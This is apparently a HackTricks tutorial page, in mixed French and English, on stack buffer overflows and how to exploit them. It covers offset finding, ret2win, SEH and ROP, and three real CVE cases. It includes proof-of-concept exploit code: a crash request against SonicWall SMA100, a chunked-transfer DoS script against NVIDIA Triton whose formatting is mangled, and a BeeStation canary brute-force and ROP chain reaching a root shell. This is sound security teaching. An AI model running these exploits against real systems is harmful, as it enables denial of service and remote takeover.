Stack Overflow
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Qu’est-ce qu’un Stack Overflow
A stack overflow is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will overwrite adjacent memory space, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
Le problème principal de cet écrasement est que le pointeur d’instruction sauvegardé (EIP/RIP) et le pointeur de base sauvegardé (EBP/RBP) pour revenir à la fonction précédente sont stockés sur la stack. Par conséquent, un attaquant pourra écraser ces valeurs et contrôler le flux d’exécution du programme.
La vulnérabilité apparaît généralement parce qu’une fonction copie dans la stack plus d’octets que l’espace qui lui est alloué, pouvant ainsi écraser d’autres parties de la stack.
Certaines fonctions couramment vulnérables sont : strcpy, strcat, sprintf, gets… De plus, des fonctions comme fgets, read et memcpy qui prennent un argument de longueur, peuvent être utilisées de manière vulnérable si la longueur spécifiée est supérieure à celle allouée.
Par exemple, les fonctions suivantes pourraient être vulnérables:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Trouver les Stack Overflows offsets
La façon la plus courante de détecter les stack overflows est d’envoyer une entrée très grande composée de As (par ex. python3 -c 'print("A"*1000)') et d’attendre un Segmentation Fault indiquant qu’on a tenté d’accéder à l’adresse 0x41414141.
De plus, une fois que vous avez trouvé qu’il existe une vulnérabilité Stack Overflow, vous devrez trouver l’offset nécessaire pour écraser l’adresse de retour ; pour cela on utilise généralement une De Bruijn sequence. Pour un alphabet de taille k et des sous-séquences de longueur n, c’est une séquence cyclique dans laquelle chaque sous-séquence possible de longueur n apparaît exactement une fois comme sous-séquence contiguë.
Ainsi, au lieu de devoir déterminer manuellement l’offset nécessaire pour contrôler l’EIP, il est possible d’utiliser comme padding une de ces séquences, puis de retrouver l’offset des octets qui l’ont finalement écrasée.
Il est possible d’utiliser pwntools pour cela :
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
ou GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Exploiting Stack Overflows
During an overflow (supposing the overflow size if big enough) you will be able to overwrite values of local variables inside the stack until reaching the saved EBP/RBP and EIP/RIP (or even more).
The most common way to abuse this type of vulnerability is by modifying the return address so when the function ends the control flow will be redirected wherever the user specified in this pointer.
However, in other scenarios maybe just overwriting some variables values in the stack might be enough for the exploitation (like in easy CTF challenges).
Ret2win
In this type of CTF challenges, there is a function inside the binary that is never called and that you need to call in order to win. For these challenges you just need to find the offset to overwrite the return address and find the address of the function to call (usually ASLR would be disabled) so when the vulnerable function returns, the hidden function will be called:
Stack Shellcode
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
Windows SEH-based exploitation (nSEH/SEH)
On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.
ROP & Ret2… techniques
This technique is the fundamental framework to bypass the main protection to the previous technique: No executable stack (NX). And it allows to perform several other techniques (ret2lib, ret2syscall…) that will end executing arbitrary commands by abusing existing instructions in the binary:
Heap Overflows
An overflow is not always going to be in the stack, it could also be in the heap for example:
Types of protections
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
A good demonstration of why sscanf should never be trusted for parsing untrusted input appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance.
The vulnerable routine inside /usr/src/EasyAccess/bin/httpd attempts to extract the version and endpoint from any URI that begins with /__api__/:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- La première conversion (
%2s) stocke en toute sécurité deux octets dansversion(p. ex. “v1”). - La deuxième conversion (
%s) n’a pas de spécificateur de longueur, doncsscanfcontinuera à copier jusqu’au premier octet NUL. - Parce que
endpointest situé sur la stack et fait 0x800 octets, fournir un path plus long que 0x800 octets corrompt tout ce qui se trouve après le buffer ‑ y compris le stack canary et le saved return address.
Une preuve de concept sur une seule ligne suffit à provoquer le crash avant l’authentification:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Bien que les stack canaries provoquent l’arrêt du processus, un attaquant obtient toujours une Denial-of-Service primitive (et, avec des leaks d’information supplémentaires, possiblement du code-execution).
Exemple réel : CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
Le Triton Inference Server de NVIDIA (≤ v25.06) contenait plusieurs stack-based overflows accessibles via son HTTP API.
Le motif vulnérable apparaissait à plusieurs reprises dans http_server.cc et sagemaker_server.cc :
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek(libevent) renvoie le nombre de segments de buffer internes qui composent le corps de la requête HTTP en cours.- Chaque segment provoque l’allocation d’un
evbuffer_iovecde 16 octets sur le stack viaalloca()– sans aucune limite supérieure. - En abusant de HTTP chunked transfer-encoding, un client peut forcer la requête à être fragmentée en des centaines de milliers de chunks de 6 octets (
"1\r\nA\r\n"). Cela fait croîtrensans limite jusqu’à ce que le stack soit épuisé.
Preuve de concept (DoS)
Chunked DoS PoC
```python #!/usr/bin/env python3 import socket, sysdef exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()
if name == “main”: exploit(*sys.argv[1:])
</details>
Une requête d'environ ~3 Mo suffit pour overwrite the saved return address et **crash** le daemon sur une build par défaut.
### Exemple réel : CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
La chaîne Pwn2Own 2025 de Synacktiv a exploité un pre-auth overflow dans `SYNO.BEE.AdminCenter.Auth` sur le port 5000. `AuthManagerImpl::ParseAuthInfo` Base64-decode l'entrée de l'attaquant dans un stack buffer de 4096 octets mais définit incorrectement `decoded_len = auth_info->len`. Comme le worker CGI fork per request, chaque child hérite du parent’s stack canary, donc une overflow primitive stable suffit à corrompre le stack et à leak tous les secrets requis.
#### Base64-decoded JSON as a structured overflow
Le blob décodé doit être un JSON valide et inclure les clés `"state"` et `"code"` ; sinon, le parser lance une erreur avant que l'overflow soit exploitable. Synacktiv a contourné cela en Base64-encodant un payload qui se décode en JSON, puis un NUL byte, puis le overflow stream. `strlen(decoded)` s'arrête au NUL, donc le parsing réussit, mais `SLIBCBase64Decode` avait déjà overwrote the stack au-delà de l'objet JSON, recouvrant le canary, le saved RBP et le return address.
```python
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
pld += b"A"*4081 # reach the canary slot
pld += marker_bytes # guessed canary / pointer data
send_request(pld)
Bruteforçage par crash-oracle des canaries & pointers
synoscgi forke à chaque requête HTTP, donc tous les processus enfants partagent le même canary, la même disposition de pile et le même PIE slide. L’exploit considère le code de statut HTTP comme un oracle : une réponse 200 signifie que l’octet deviné a préservé la pile, tandis que 502 (ou une connexion interrompue) signifie que le processus s’est planté. Le bruteforçage sériel de chaque octet récupère le canary de 8 octets, un pointeur de pile sauvegardé, et une adresse de retour à l’intérieur de libsynobeeadmincenter.so :
def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")
bf_next_ptr appelle simplement bf_next_byte huit fois tout en ajoutant le préfixe confirmé. Synacktiv a parallélisé ces oracles avec ~16 worker threads, réduisant le temps total de leak (canary + stack ptr + lib base) à moins de trois minutes.
Des leaks au ROP & à l’exécution
Une fois la lib base connue, des gadgets courants (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) construisent une primitive arb_write qui place /bin/bash, -c et la commande de l’attaquant sur l’adresse de pile leaked. Enfin, la chaîne configure la convention d’appel pour SLIBCExecl (un wrapper BeeStation autour de execl(2)), fournissant un root shell sans nécessiter un bug d’info-leak séparé.
Références
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

